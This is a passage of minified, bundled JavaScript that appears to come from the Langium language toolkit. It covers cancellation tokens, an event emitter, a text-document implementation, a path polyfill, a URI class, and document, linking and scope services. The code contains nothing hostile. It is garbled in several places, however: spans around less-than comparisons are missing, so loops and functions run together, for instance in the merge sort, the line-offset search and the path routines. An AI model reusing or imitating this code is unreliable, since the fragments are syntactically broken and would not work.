i=="function"&&(a.LINE_BREAKS=!0),a}buildKeywordPattern(e,r){return r?new RegExp(kO(e.value)):e.value}findLongerAlt(e,r){return r.reduce((n,i)=>{let a=i?.PATTERN;return a?.source&&EO("^"+a.source+"$",e.value)&&n.push(i),n},[])}}});var Kp,Xc,WP=N(()=>{"use strict";Hc();zl();Kp=class{static{o(this,"DefaultValueConverter")}convert(e,r){let n=r.grammarSource;if(Mp(n)&&(n=AO(n)),$l(n)){let i=n.rule.ref;if(!i)throw new Error("This cst node was not parsed by a rule.");return this.runConverter(i,e,r)}return e}runConverter(e,r,n){var i;switch(e.name.toUpperCase()){case"INT":return Xc.convertInt(r);case"STRING":return Xc.convertString(r);case"ID":return Xc.convertID(r)}switch((i=IO(e))===null||i===void 0?void 0:i.toLowerCase()){case"number":return Xc.convertNumber(r);case"boolean":return Xc.convertBoolean(r);case"bigint":return Xc.convertBigint(r);case"date":return Xc.convertDate(r);default:return r}}};(function(t){function e(h){let f="";for(let d=1;d{"use strict";Object.defineProperty(jP,"__esModule",{value:!0});var YP;function XP(){if(YP===void 0)throw new Error("No runtime abstraction layer installed");return YP}o(XP,"RAL");(function(t){function e(r){if(r===void 0)throw new Error("No runtime abstraction layer provided");YP=r}o(e,"install"),t.install=e})(XP||(XP={}));jP.default=XP});var nme=Da(Ua=>{"use strict";Object.defineProperty(Ua,"__esModule",{value:!0});Ua.stringArray=Ua.array=Ua.func=Ua.error=Ua.number=Ua.string=Ua.boolean=void 0;function WXe(t){return t===!0||t===!1}o(WXe,"boolean");Ua.boolean=WXe;function tme(t){return typeof t=="string"||t instanceof String}o(tme,"string");Ua.string=tme;function YXe(t){return typeof t=="number"||t instanceof Number}o(YXe,"number");Ua.number=YXe;function XXe(t){return t instanceof Error}o(XXe,"error");Ua.error=XXe;function jXe(t){return typeof t=="function"}o(jXe,"func");Ua.func=jXe;function rme(t){return Array.isArray(t)}o(rme,"array");Ua.array=rme;function KXe(t){return rme(t)&&t.every(e=>tme(e))}o(KXe,"stringArray");Ua.stringArray=KXe});var ZP=Da($1=>{"use strict";Object.defineProperty($1,"__esModule",{value:!0});$1.Emitter=$1.Event=void 0;var QXe=KP(),ime;(function(t){let e={dispose(){}};t.None=function(){return e}})(ime||($1.Event=ime={}));var QP=class{static{o(this,"CallbackList")}add(e,r=null,n){this._callbacks||(this._callbacks=[],this._contexts=[]),this._callbacks.push(e),this._contexts.push(r),Array.isArray(n)&&n.push({dispose:o(()=>this.remove(e,r),"dispose")})}remove(e,r=null){if(!this._callbacks)return;let n=!1;for(let i=0,a=this._callbacks.length;i{this._callbacks||(this._callbacks=new QP),this._options&&this._options.onFirstListenerAdd&&this._callbacks.isEmpty()&&this._options.onFirstListenerAdd(this),this._callbacks.add(e,r);let i={dispose:o(()=>{this._callbacks&&(this._callbacks.remove(e,r),i.dispose=t._noop,this._options&&this._options.onLastListenerRemove&&this._callbacks.isEmpty()&&this._options.onLastListenerRemove(this))},"dispose")};return Array.isArray(n)&&n.push(i),i}),this._event}fire(e){this._callbacks&&this._callbacks.invoke.call(this._callbacks,e)}dispose(){this._callbacks&&(this._callbacks.dispose(),this._callbacks=void 0)}};$1.Emitter=HS;HS._noop=function(){}});var ame=Da(z1=>{"use strict";Object.defineProperty(z1,"__esModule",{value:!0});z1.CancellationTokenSource=z1.CancellationToken=void 0;var ZXe=KP(),JXe=nme(),JP=ZP(),qS;(function(t){t.None=Object.freeze({isCancellationRequested:!1,onCancellationRequested:JP.Event.None}),t.Cancelled=Object.freeze({isCancellationRequested:!0,onCancellationRequested:JP.Event.None});function e(r){let n=r;return n&&(n===t.None||n===t.Cancelled||JXe.boolean(n.isCancellationRequested)&&!!n.onCancellationRequested)}o(e,"is"),t.is=e})(qS||(z1.CancellationToken=qS={}));var eje=Object.freeze(function(t,e){let r=(0,ZXe.default)().timer.setTimeout(t.bind(e),0);return{dispose(){r.dispose()}}}),WS=class{static{o(this,"MutableToken")}constructor(){this._isCancelled=!1}cancel(){this._isCancelled||(this._isCancelled=!0,this._emitter&&(this._emitter.fire(void 0),this.dispose()))}get isCancellationRequested(){return this._isCancelled}get onCancellationRequested(){return this._isCancelled?eje:(this._emitter||(this._emitter=new JP.Emitter),this._emitter.event)}dispose(){this._emitter&&(this._emitter.dispose(),this._emitter=void 0)}},eB=class{static{o(this,"CancellationTokenSource")}get token(){return this._token||(this._token=new WS),this._token}cancel(){this._token?this._token.cancel():this._token=qS.Cancelled}dispose(){this._token?this._token instanceof WS&&this._token.dispose():this._token=qS.None}};z1.CancellationTokenSource=eB});var br={};var el=N(()=>{"use strict";Lr(br,ja(ame(),1))});function tB(){return new Promise(t=>{typeof setImmediate>"u"?setTimeout(t,0):setImmediate(t)})}function XS(){return YS=performance.now(),new br.CancellationTokenSource}function ome(t){sme=t}function Kc(t){return t===jc}async function bi(t){if(t===br.CancellationToken.None)return;let e=performance.now();if(e-YS>=sme&&(YS=e,await tB(),YS=performance.now()),t.isCancellationRequested)throw jc}var YS,sme,jc,gs,tl=N(()=>{"use strict";el();o(tB,"delayNextTick");YS=0,sme=10;o(XS,"startCancelableOperation");o(ome,"setInterruptionPeriod");jc=Symbol("OperationCancelled");o(Kc,"isOperationCancelled");o(bi,"interruptAndCheck");gs=class{static{o(this,"Deferred")}constructor(){this.promise=new Promise((e,r)=>{this.resolve=n=>(e(n),this),this.reject=n=>(r(n),this)})}}});function rB(t,e){if(t.length<=1)return t;let r=t.length/2|0,n=t.slice(0,r),i=t.slice(r);rB(n,e),rB(i,e);let a=0,s=0,l=0;for(;ar.line||e.line===r.line&&e.character>r.character?{start:r,end:e}:t}function tje(t){let e=ume(t.range);return e!==t.range?{newText:t.newText,range:e}:t}var jS,G1,hme=N(()=>{"use strict";jS=class t{static{o(this,"FullTextDocument")}constructor(e,r,n,i){this._uri=e,this._languageId=r,this._version=n,this._content=i,this._lineOffsets=void 0}get uri(){return this._uri}get languageId(){return this._languageId}get version(){return this._version}getText(e){if(e){let r=this.offsetAt(e.start),n=this.offsetAt(e.end);return this._content.substring(r,n)}return this._content}update(e,r){for(let n of e)if(t.isIncremental(n)){let i=ume(n.range),a=this.offsetAt(i.start),s=this.offsetAt(i.end);this._content=this._content.substring(0,a)+n.text+this._content.substring(s,this._content.length);let l=Math.max(i.start.line,0),u=Math.max(i.end.line,0),h=this._lineOffsets,f=lme(n.text,!1,a);if(u-l===f.length)for(let p=0,m=f.length;pe?i=s:n=s+1}let a=n-1;return e=this.ensureBeforeEOL(e,r[a]),{line:a,character:e-r[a]}}offsetAt(e){let r=this.getLineOffsets();if(e.line>=r.length)return this._content.length;if(e.line<0)return 0;let n=r[e.line];if(e.character<=0)return n;let i=e.line+1r&&cme(this._content.charCodeAt(e-1));)e--;return e}get lineCount(){return this.getLineOffsets().length}static isIncremental(e){let r=e;return r!=null&&typeof r.text=="string"&&r.range!==void 0&&(r.rangeLength===void 0||typeof r.rangeLength=="number")}static isFull(e){let r=e;return r!=null&&typeof r.text=="string"&&r.range===void 0&&r.rangeLength===void 0}};(function(t){function e(i,a,s,l){return new jS(i,a,s,l)}o(e,"create"),t.create=e;function r(i,a,s){if(i instanceof jS)return i.update(a,s),i;throw new Error("TextDocument.update: document must be created by TextDocument.create")}o(r,"update"),t.update=r;function n(i,a){let s=i.getText(),l=rB(a.map(tje),(f,d)=>{let p=f.range.start.line-d.range.start.line;return p===0?f.range.start.character-d.range.start.character:p}),u=0,h=[];for(let f of l){let d=i.offsetAt(f.range.start);if(du&&h.push(s.substring(u,d)),f.newText.length&&h.push(f.newText),u=i.offsetAt(f.range.end)}return h.push(s.substr(u)),h.join("")}o(n,"applyEdits"),t.applyEdits=n})(G1||(G1={}));o(rB,"mergeSort");o(lme,"computeLineOffsets");o(cme,"isEOL");o(ume,"getWellformedRange");o(tje,"getWellformedEdit")});var fme,ys,V1,nB=N(()=>{"use strict";(()=>{"use strict";var t={470:i=>{function a(u){if(typeof u!="string")throw new TypeError("Path must be a string. Received "+JSON.stringify(u))}o(a,"e");function s(u,h){for(var f,d="",p=0,m=-1,g=0,y=0;y<=u.length;++y){if(y2){var v=d.lastIndexOf("/");if(v!==d.length-1){v===-1?(d="",p=0):p=(d=d.slice(0,v)).length-1-d.lastIndexOf("/"),m=y,g=0;continue}}else if(d.length===2||d.length===1){d="",p=0,m=y,g=0;continue}}h&&(d.length>0?d+="/..":d="..",p=2)}else d.length>0?d+="/"+u.slice(m+1,y):d=u.slice(m+1,y),p=y-m-1;m=y,g=0}else f===46&&g!==-1?++g:g=-1}return d}o(s,"r");var l={resolve:o(function(){for(var u,h="",f=!1,d=arguments.length-1;d>=-1&&!f;d--){var p;d>=0?p=arguments[d]:(u===void 0&&(u=process.cwd()),p=u),a(p),p.length!==0&&(h=p+"/"+h,f=p.charCodeAt(0)===47)}return h=s(h,!f),f?h.length>0?"/"+h:"/":h.length>0?h:"."},"resolve"),normalize:o(function(u){if(a(u),u.length===0)return".";var h=u.charCodeAt(0)===47,f=u.charCodeAt(u.length-1)===47;return(u=s(u,!h)).length!==0||h||(u="."),u.length>0&&f&&(u+="/"),h?"/"+u:u},"normalize"),isAbsolute:o(function(u){return a(u),u.length>0&&u.charCodeAt(0)===47},"isAbsolute"),join:o(function(){if(arguments.length===0)return".";for(var u,h=0;h0&&(u===void 0?u=f:u+="/"+f)}return u===void 0?".":l.normalize(u)},"join"),relative:o(function(u,h){if(a(u),a(h),u===h||(u=l.resolve(u))===(h=l.resolve(h)))return"";for(var f=1;fy){if(h.charCodeAt(m+x)===47)return h.slice(m+x+1);if(x===0)return h.slice(m+x)}else p>y&&(u.charCodeAt(f+x)===47?v=x:x===0&&(v=0));break}var b=u.charCodeAt(f+x);if(b!==h.charCodeAt(m+x))break;b===47&&(v=x)}var T="";for(x=f+v+1;x<=d;++x)x!==d&&u.charCodeAt(x)!==47||(T.length===0?T+="..":T+="/..");return T.length>0?T+h.slice(m+v):(m+=v,h.charCodeAt(m)===47&&++m,h.slice(m))},"relative"),_makeLong:o(function(u){return u},"_makeLong"),dirname:o(function(u){if(a(u),u.length===0)return".";for(var h=u.charCodeAt(0),f=h===47,d=-1,p=!0,m=u.length-1;m>=1;--m)if((h=u.charCodeAt(m))===47){if(!p){d=m;break}}else p=!1;return d===-1?f?"/":".":f&&d===1?"//":u.slice(0,d)},"dirname"),basename:o(function(u,h){if(h!==void 0&&typeof h!="string")throw new TypeError('"ext" argument must be a string');a(u);var f,d=0,p=-1,m=!0;if(h!==void 0&&h.length>0&&h.length<=u.length){if(h.length===u.length&&h===u)return"";var g=h.length-1,y=-1;for(f=u.length-1;f>=0;--f){var v=u.charCodeAt(f);if(v===47){if(!m){d=f+1;break}}else y===-1&&(m=!1,y=f+1),g>=0&&(v===h.charCodeAt(g)?--g==-1&&(p=f):(g=-1,p=y))}return d===p?p=y:p===-1&&(p=u.length),u.slice(d,p)}for(f=u.length-1;f>=0;--f)if(u.charCodeAt(f)===47){if(!m){d=f+1;break}}else p===-1&&(m=!1,p=f+1);return p===-1?"":u.slice(d,p)},"basename"),extname:o(function(u){a(u);for(var h=-1,f=0,d=-1,p=!0,m=0,g=u.length-1;g>=0;--g){var y=u.charCodeAt(g);if(y!==47)d===-1&&(p=!1,d=g+1),y===46?h===-1?h=g:m!==1&&(m=1):h!==-1&&(m=-1);else if(!p){f=g+1;break}}return h===-1||d===-1||m===0||m===1&&h===d-1&&h===f+1?"":u.slice(h,d)},"extname"),format:o(function(u){if(u===null||typeof u!="object")throw new TypeError('The "pathObject" argument must be of type Object. Received type '+typeof u);return(function(h,f){var d=f.dir||f.root,p=f.base||(f.name||"")+(f.ext||"");return d?d===f.root?d+p:d+"/"+p:p})(0,u)},"format"),parse:o(function(u){a(u);var h={root:"",dir:"",base:"",ext:"",name:""};if(u.length===0)return h;var f,d=u.charCodeAt(0),p=d===47;p?(h.root="/",f=1):f=0;for(var m=-1,g=0,y=-1,v=!0,x=u.length-1,b=0;x>=f;--x)if((d=u.charCodeAt(x))!==47)y===-1&&(v=!1,y=x+1),d===46?m===-1?m=x:b!==1&&(b=1):m!==-1&&(b=-1);else if(!v){g=x+1;break}return m===-1||y===-1||b===0||b===1&&m===y-1&&m===g+1?y!==-1&&(h.base=h.name=g===0&&p?u.slice(1,y):u.slice(g,y)):(g===0&&p?(h.name=u.slice(1,m),h.base=u.slice(1,y)):(h.name=u.slice(g,m),h.base=u.slice(g,y)),h.ext=u.slice(m,y)),g>0?h.dir=u.slice(0,g-1):p&&(h.dir="/"),h},"parse"),sep:"/",delimiter:":",win32:null,posix:null};l.posix=l,i.exports=l}},e={};function r(i){var a=e[i];if(a!==void 0)return a.exports;var s=e[i]={exports:{}};return t[i](s,s.exports,r),s.exports}o(r,"r"),r.d=(i,a)=>{for(var s in a)r.o(a,s)&&!r.o(i,s)&&Object.defineProperty(i,s,{enumerable:!0,get:a[s]})},r.o=(i,a)=>Object.prototype.hasOwnProperty.call(i,a),r.r=i=>{typeof Symbol<"u"&&Symbol.toStringTag&&Object.defineProperty(i,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(i,"__esModule",{value:!0})};var n={};(()=>{let i;r.r(n),r.d(n,{URI:o(()=>p,"URI"),Utils:o(()=>I,"Utils")}),typeof process=="object"?i=process.platform==="win32":typeof navigator=="object"&&(i=navigator.userAgent.indexOf("Windows")>=0);let a=/^\w[\w\d+.-]*$/,s=/^\//,l=/^\/\//;function u(L,E){if(!L.scheme&&E)throw new Error(`[UriError]: Scheme is missing: {scheme: "", authority: "${L.authority}", path: "${L.path}", query: "${L.query}", fragment: "${L.fragment}"}`);if(L.scheme&&!a.test(L.scheme))throw new Error("[UriError]: Scheme contains illegal characters.");if(L.path){if(L.authority){if(!s.test(L.path))throw new Error('[UriError]: If a URI contains an authority component, then the path component must either be empty or begin with a slash ("/") character')}else if(l.test(L.path))throw new Error('[UriError]: If a URI does not contain an authority component, then the path cannot begin with two slash characters ("//")')}}o(u,"s");let h="",f="/",d=/^(([^:/?#]+?):)?(\/\/([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?/;class p{static{o(this,"f")}static isUri(E){return E instanceof p||!!E&&typeof E.authority=="string"&&typeof E.fragment=="string"&&typeof E.path=="string"&&typeof E.query=="string"&&typeof E.scheme=="string"&&typeof E.fsPath=="string"&&typeof E.with=="function"&&typeof E.toString=="function"}scheme;authority;path;query;fragment;constructor(E,D,_,O,M,P=!1){typeof E=="object"?(this.scheme=E.scheme||h,this.authority=E.authority||h,this.path=E.path||h,this.query=E.query||h,this.fragment=E.fragment||h):(this.scheme=(function(B,F){return B||F?B:"file"})(E,P),this.authority=D||h,this.path=(function(B,F){switch(B){case"https":case"http":case"file":F?F[0]!==f&&(F=f+F):F=f}return F})(this.scheme,_||h),this.query=O||h,this.fragment=M||h,u(this,P))}get fsPath(){return b(this,!1)}with(E){if(!E)return this;let{scheme:D,authority:_,path:O,query:M,fragment:P}=E;return D===void 0?D=this.scheme:D===null&&(D=h),_===void 0?_=this.authority:_===null&&(_=h),O===void 0?O=this.path:O===null&&(O=h),M===void 0?M=this.query:M===null&&(M=h),P===void 0?P=this.fragment:P===null&&(P=h),D===this.scheme&&_===this.authority&&O===this.path&&M===this.query&&P===this.fragment?this:new g(D,_,O,M,P)}static parse(E,D=!1){let _=d.exec(E);return _?new g(_[2]||h,k(_[4]||h),k(_[5]||h),k(_[7]||h),k(_[9]||h),D):new g(h,h,h,h,h)}static file(E){let D=h;if(i&&(E=E.replace(/\\/g,f)),E[0]===f&&E[1]===f){let _=E.indexOf(f,2);_===-1?(D=E.substring(2),E=f):(D=E.substring(2,_),E=E.substring(_)||f)}return new g("file",D,E,h,h)}static from(E){let D=new g(E.scheme,E.authority,E.path,E.query,E.fragment);return u(D,!0),D}toString(E=!1){return T(this,E)}toJSON(){return this}static revive(E){if(E){if(E instanceof p)return E;{let D=new g(E);return D._formatted=E.external,D._fsPath=E._sep===m?E.fsPath:null,D}}return E}}let m=i?1:void 0;class g extends p{static{o(this,"l")}_formatted=null;_fsPath=null;get fsPath(){return this._fsPath||(this._fsPath=b(this,!1)),this._fsPath}toString(E=!1){return E?T(this,!0):(this._formatted||(this._formatted=T(this,!1)),this._formatted)}toJSON(){let E={$mid:1};return this._fsPath&&(E.fsPath=this._fsPath,E._sep=m),this._formatted&&(E.external=this._formatted),this.path&&(E.path=this.path),this.scheme&&(E.scheme=this.scheme),this.authority&&(E.authority=this.authority),this.query&&(E.query=this.query),this.fragment&&(E.fragment=this.fragment),E}}let y={58:"%3A",47:"%2F",63:"%3F",35:"%23",91:"%5B",93:"%5D",64:"%40",33:"%21",36:"%24",38:"%26",39:"%27",40:"%28",41:"%29",42:"%2A",43:"%2B",44:"%2C",59:"%3B",61:"%3D",32:"%20"};function v(L,E,D){let _,O=-1;for(let M=0;M=97&&P<=122||P>=65&&P<=90||P>=48&&P<=57||P===45||P===46||P===95||P===126||E&&P===47||D&&P===91||D&&P===93||D&&P===58)O!==-1&&(_+=encodeURIComponent(L.substring(O,M)),O=-1),_!==void 0&&(_+=L.charAt(M));else{_===void 0&&(_=L.substr(0,M));let B=y[P];B!==void 0?(O!==-1&&(_+=encodeURIComponent(L.substring(O,M)),O=-1),_+=B):O===-1&&(O=M)}}return O!==-1&&(_+=encodeURIComponent(L.substring(O))),_!==void 0?_:L}o(v,"d");function x(L){let E;for(let D=0;D1&&L.scheme==="file"?`//${L.authority}${L.path}`:L.path.charCodeAt(0)===47&&(L.path.charCodeAt(1)>=65&&L.path.charCodeAt(1)<=90||L.path.charCodeAt(1)>=97&&L.path.charCodeAt(1)<=122)&&L.path.charCodeAt(2)===58?E?L.path.substr(1):L.path[1].toLowerCase()+L.path.substr(2):L.path,i&&(D=D.replace(/\//g,"\\")),D}o(b,"m");function T(L,E){let D=E?x:v,_="",{scheme:O,authority:M,path:P,query:B,fragment:F}=L;if(O&&(_+=O,_+=":"),(M||O==="file")&&(_+=f,_+=f),M){let G=M.indexOf("@");if(G!==-1){let $=M.substr(0,G);M=M.substr(G+1),G=$.lastIndexOf(":"),G===-1?_+=D($,!1,!1):(_+=D($.substr(0,G),!1,!1),_+=":",_+=D($.substr(G+1),!1,!0)),_+="@"}M=M.toLowerCase(),G=M.lastIndexOf(":"),G===-1?_+=D(M,!1,!0):(_+=D(M.substr(0,G),!1,!0),_+=M.substr(G))}if(P){if(P.length>=3&&P.charCodeAt(0)===47&&P.charCodeAt(2)===58){let G=P.charCodeAt(1);G>=65&&G<=90&&(P=`/${String.fromCharCode(G+32)}:${P.substr(3)}`)}else if(P.length>=2&&P.charCodeAt(1)===58){let G=P.charCodeAt(0);G>=65&&G<=90&&(P=`${String.fromCharCode(G+32)}:${P.substr(2)}`)}_+=D(P,!0,!1)}return B&&(_+="?",_+=D(B,!1,!1)),F&&(_+="#",_+=E?F:v(F,!1,!1)),_}o(T,"y");function S(L){try{return decodeURIComponent(L)}catch{return L.length>3?L.substr(0,3)+S(L.substr(3)):L}}o(S,"v");let w=/(%[0-9A-Za-z][0-9A-Za-z])+/g;function k(L){return L.match(w)?L.replace(w,(E=>S(E))):L}o(k,"C");var A=r(470);let C=A.posix||A,R="/";var I;(function(L){L.joinPath=function(E,...D){return E.with({path:C.join(E.path,...D)})},L.resolvePath=function(E,...D){let _=E.path,O=!1;_[0]!==R&&(_=R+_,O=!0);let M=C.resolve(_,...D);return O&&M[0]===R&&!E.authority&&(M=M.substring(1)),E.with({path:M})},L.dirname=function(E){if(E.path.length===0||E.path===R)return E;let D=C.dirname(E.path);return D.length===1&&D.charCodeAt(0)===46&&(D=""),E.with({path:D})},L.basename=function(E){return C.basename(E.path)},L.extname=function(E){return C.extname(E.path)}})(I||(I={}))})(),fme=n})();({URI:ys,Utils:V1}=fme)});var vs,Qc=N(()=>{"use strict";nB();(function(t){t.basename=V1.basename,t.dirname=V1.dirname,t.extname=V1.extname,t.joinPath=V1.joinPath,t.resolvePath=V1.resolvePath;function e(i,a){return i?.toString()===a?.toString()}o(e,"equals"),t.equals=e;function r(i,a){let s=typeof i=="string"?i:i.path,l=typeof a=="string"?a:a.path,u=s.split("/").filter(m=>m.length>0),h=l.split("/").filter(m=>m.length>0),f=0;for(;f{"use strict";hme();U1();el();Ys();Qc();(function(t){t[t.Changed=0]="Changed",t[t.Parsed=1]="Parsed",t[t.IndexedContent=2]="IndexedContent",t[t.ComputedScopes=3]="ComputedScopes",t[t.Linked=4]="Linked",t[t.IndexedReferences=5]="IndexedReferences",t[t.Validated=6]="Validated"})(Ln||(Ln={}));Db=class{static{o(this,"DefaultLangiumDocumentFactory")}constructor(e){this.serviceRegistry=e.ServiceRegistry,this.textDocuments=e.workspace.TextDocuments,this.fileSystemProvider=e.workspace.FileSystemProvider}async fromUri(e,r=br.CancellationToken.None){let n=await this.fileSystemProvider.readFile(e);return this.createAsync(e,n,r)}fromTextDocument(e,r,n){return r=r??ys.parse(e.uri),br.CancellationToken.is(n)?this.createAsync(r,e,n):this.create(r,e,n)}fromString(e,r,n){return br.CancellationToken.is(n)?this.createAsync(r,e,n):this.create(r,e,n)}fromModel(e,r){return this.create(r,{$model:e})}create(e,r,n){if(typeof r=="string"){let i=this.parse(e,r,n);return this.createLangiumDocument(i,e,void 0,r)}else if("$model"in r){let i={value:r.$model,parserErrors:[],lexerErrors:[]};return this.createLangiumDocument(i,e)}else{let i=this.parse(e,r.getText(),n);return this.createLangiumDocument(i,e,r)}}async createAsync(e,r,n){if(typeof r=="string"){let i=await this.parseAsync(e,r,n);return this.createLangiumDocument(i,e,void 0,r)}else{let i=await this.parseAsync(e,r.getText(),n);return this.createLangiumDocument(i,e,r)}}createLangiumDocument(e,r,n,i){let a;if(n)a={parseResult:e,uri:r,state:Ln.Parsed,references:[],textDocument:n};else{let s=this.createTextDocumentGetter(r,i);a={parseResult:e,uri:r,state:Ln.Parsed,references:[],get textDocument(){return s()}}}return e.value.$document=a,a}async update(e,r){var n,i;let a=(n=e.parseResult.value.$cstNode)===null||n===void 0?void 0:n.root.fullText,s=(i=this.textDocuments)===null||i===void 0?void 0:i.get(e.uri.toString()),l=s?s.getText():await this.fileSystemProvider.readFile(e.uri);if(s)Object.defineProperty(e,"textDocument",{value:s});else{let u=this.createTextDocumentGetter(e.uri,l);Object.defineProperty(e,"textDocument",{get:u})}return a!==l&&(e.parseResult=await this.parseAsync(e.uri,l,r),e.parseResult.value.$document=e),e.state=Ln.Parsed,e}parse(e,r,n){return this.serviceRegistry.getServices(e).parser.LangiumParser.parse(r,n)}parseAsync(e,r,n){return this.serviceRegistry.getServices(e).parser.AsyncParser.parse(r,n)}createTextDocumentGetter(e,r){let n=this.serviceRegistry,i;return()=>i??(i=G1.create(e.toString(),n.getServices(e).LanguageMetaData.languageId,0,r??""))}},Lb=class{static{o(this,"DefaultLangiumDocuments")}constructor(e){this.documentMap=new Map,this.langiumDocumentFactory=e.workspace.LangiumDocumentFactory,this.serviceRegistry=e.ServiceRegistry}get all(){return an(this.documentMap.values())}addDocument(e){let r=e.uri.toString();if(this.documentMap.has(r))throw new Error(`A document with the URI '${r}' is already present.`);this.documentMap.set(r,e)}getDocument(e){let r=e.toString();return this.documentMap.get(r)}async getOrCreateDocument(e,r){let n=this.getDocument(e);return n||(n=await this.langiumDocumentFactory.fromUri(e,r),this.addDocument(n),n)}createDocument(e,r,n){if(n)return this.langiumDocumentFactory.fromString(r,e,n).then(i=>(this.addDocument(i),i));{let i=this.langiumDocumentFactory.fromString(r,e);return this.addDocument(i),i}}hasDocument(e){return this.documentMap.has(e.toString())}invalidateDocument(e){let r=e.toString(),n=this.documentMap.get(r);return n&&(this.serviceRegistry.getServices(e).references.Linker.unlink(n),n.state=Ln.Changed,n.precomputedScopes=void 0,n.diagnostics=void 0),n}deleteDocument(e){let r=e.toString(),n=this.documentMap.get(r);return n&&(n.state=Ln.Changed,this.documentMap.delete(r)),n}}});var iB,Rb,aB=N(()=>{"use strict";el();Pl();hs();tl();U1();iB=Symbol("ref_resolving"),Rb=class{static{o(this,"DefaultLinker")}constructor(e){this.reflection=e.shared.AstReflection,this.langiumDocuments=()=>e.shared.workspace.LangiumDocuments,this.scopeProvider=e.references.ScopeProvider,this.astNodeLocator=e.workspace.AstNodeLocator}async link(e,r=br.CancellationToken.None){for(let n of Jo(e.parseResult.value))await bi(r),a1(n).forEach(i=>this.doLink(i,e))}doLink(e,r){var n;let i=e.reference;if(i._ref===void 0){i._ref=iB;try{let a=this.getCandidate(e);if(_p(a))i._ref=a;else if(i._nodeDescription=a,this.langiumDocuments().hasDocument(a.documentUri)){let s=this.loadAstNode(a);i._ref=s??this.createLinkingError(e,a)}else i._ref=void 0}catch(a){console.error(`An error occurred while resolving reference to '${i.$refText}':`,a);let s=(n=a.message)!==null&&n!==void 0?n:String(a);i._ref=Object.assign(Object.assign({},e),{message:`An error occurred while resolving reference to '${i.$refText}': ${s}`})}r.references.push(i)}}unlink(e){for(let r of e.references)delete r._ref,delete r._nodeDescription;e.references=[]}getCandidate(e){let n=this.scopeProvider.getScope(e).getElement(e.reference.$refText);return n??this.createLinkingError(e)}buildReference(e,r,n,i){let a=this,s={$refNode:n,$refText:i,get ref(){var l;if(li(this._ref))return this._ref;if(qI(this._nodeDescription)){let u=a.loadAstNode(this._nodeDescription);this._ref=u??a.createLinkingError({reference:s,container:e,property:r},this._nodeDescription)}else if(this._ref===void 0){this._ref=iB;let u=Gx(e).$document,h=a.getLinkedNode({reference:s,container:e,property:r});if(h.error&&u&&u.state{"use strict";zl();o(dme,"isNamed");Nb=class{static{o(this,"DefaultNameProvider")}getName(e){if(dme(e))return e.name}getNameNode(e){return Xx(e.$cstNode,"name")}}});var Mb,oB=N(()=>{"use strict";zl();Pl();hs();Bl();Ys();Qc();Mb=class{static{o(this,"DefaultReferences")}constructor(e){this.nameProvider=e.references.NameProvider,this.index=e.shared.workspace.IndexManager,this.nodeLocator=e.workspace.AstNodeLocator}findDeclaration(e){if(e){let r=MO(e),n=e.astNode;if(r&&n){let i=n[r.feature];if(Ta(i))return i.ref;if(Array.isArray(i)){for(let a of i)if(Ta(a)&&a.$refNode&&a.$refNode.offset<=e.offset&&a.$refNode.end>=e.end)return a.ref}}if(n){let i=this.nameProvider.getNameNode(n);if(i&&(i===e||YI(e,i)))return n}}}findDeclarationNode(e){let r=this.findDeclaration(e);if(r?.$cstNode){let n=this.nameProvider.getNameNode(r);return n??r.$cstNode}}findReferences(e,r){let n=[];if(r.includeDeclaration){let a=this.getReferenceToSelf(e);a&&n.push(a)}let i=this.index.findAllReferences(e,this.nodeLocator.getAstNodePath(e));return r.documentUri&&(i=i.filter(a=>vs.equals(a.sourceUri,r.documentUri))),n.push(...i),an(n)}getReferenceToSelf(e){let r=this.nameProvider.getNameNode(e);if(r){let n=Va(e),i=this.nodeLocator.getAstNodePath(e);return{sourceUri:n.uri,sourcePath:i,targetUri:n.uri,targetPath:i,segment:Lp(r),local:!0}}}}});var Vl,Qp,H1=N(()=>{"use strict";Ys();Vl=class{static{o(this,"MultiMap")}constructor(e){if(this.map=new Map,e)for(let[r,n]of e)this.add(r,n)}get size(){return vg.sum(an(this.map.values()).map(e=>e.length))}clear(){this.map.clear()}delete(e,r){if(r===void 0)return this.map.delete(e);{let n=this.map.get(e);if(n){let i=n.indexOf(r);if(i>=0)return n.length===1?this.map.delete(e):n.splice(i,1),!0}return!1}}get(e){var r;return(r=this.map.get(e))!==null&&r!==void 0?r:[]}has(e,r){if(r===void 0)return this.map.has(e);{let n=this.map.get(e);return n?n.indexOf(r)>=0:!1}}add(e,r){return this.map.has(e)?this.map.get(e).push(r):this.map.set(e,[r]),this}addAll(e,r){return this.map.has(e)?this.map.get(e).push(...r):this.map.set(e,Array.from(r)),this}forEach(e){this.map.forEach((r,n)=>r.forEach(i=>e(i,n,this)))}[Symbol.iterator](){return this.entries().iterator()}entries(){return an(this.map.entries()).flatMap(([e,r])=>r.map(n=>[e,n]))}keys(){return an(this.map.keys())}values(){return an(this.map.values()).flat()}entriesGroupedByKey(){return an(this.map.entries())}},Qp=class{static{o(this,"BiMap")}get size(){return this.map.size}constructor(e){if(this.map=new Map,this.inverse=new Map,e)for(let[r,n]of e)this.set(r,n)}clear(){this.map.clear(),this.inverse.clear()}set(e,r){return this.map.set(e,r),this.inverse.set(r,e),this}get(e){return this.map.get(e)}getKey(e){return this.inverse.get(e)}delete(e){let r=this.map.get(e);return r!==void 0?(this.map.delete(e),this.inverse.delete(r),!0):!1}}});var Ib,lB=N(()=>{"use strict";el();hs();H1();tl();Ib=class{static{o(this,"DefaultScopeComputation")}constructor(e){this.nameProvider=e.references.NameProvider,this.descriptions=e.workspace.AstNodeDescriptionProvider}async computeExports(e,r=br.CancellationToken.None){return this.computeExportsForNode(e.parseResult.value,e,void 0,r)}async computeExportsForNode(e,r,n=Vx,i=br.CancellationToken.None){let a=[];this.exportNode(e,a,r);for(let s of n(e))await bi(i),this.exportNode(s,a,r);return a}exportNode(e,r,n){let i=this.nameProvider.getName(e);i&&r.push(this.descriptions.createDescription(e,i,n))}async computeLocalScopes(e,r=br.CancellationToken.None){let n=e.parseResult.value,i=new Vl;for(let a of qc(n))await bi(r),this.processNode(a,e,i);return i}processNode(e,r,n){let i=e.$container;if(i){let a=this.nameProvider.getName(e);a&&n.add(i,this.descriptions.createDescription(e,a,r))}}}});var q1,Ob,rje,cB=N(()=>{"use strict";Ys();q1=class{static{o(this,"StreamScope")}constructor(e,r,n){var i;this.elements=e,this.outerScope=r,this.caseInsensitive=(i=n?.caseInsensitive)!==null&&i!==void 0?i:!1}getAllElements(){return this.outerScope?this.elements.concat(this.outerScope.getAllElements()):this.elements}getElement(e){let 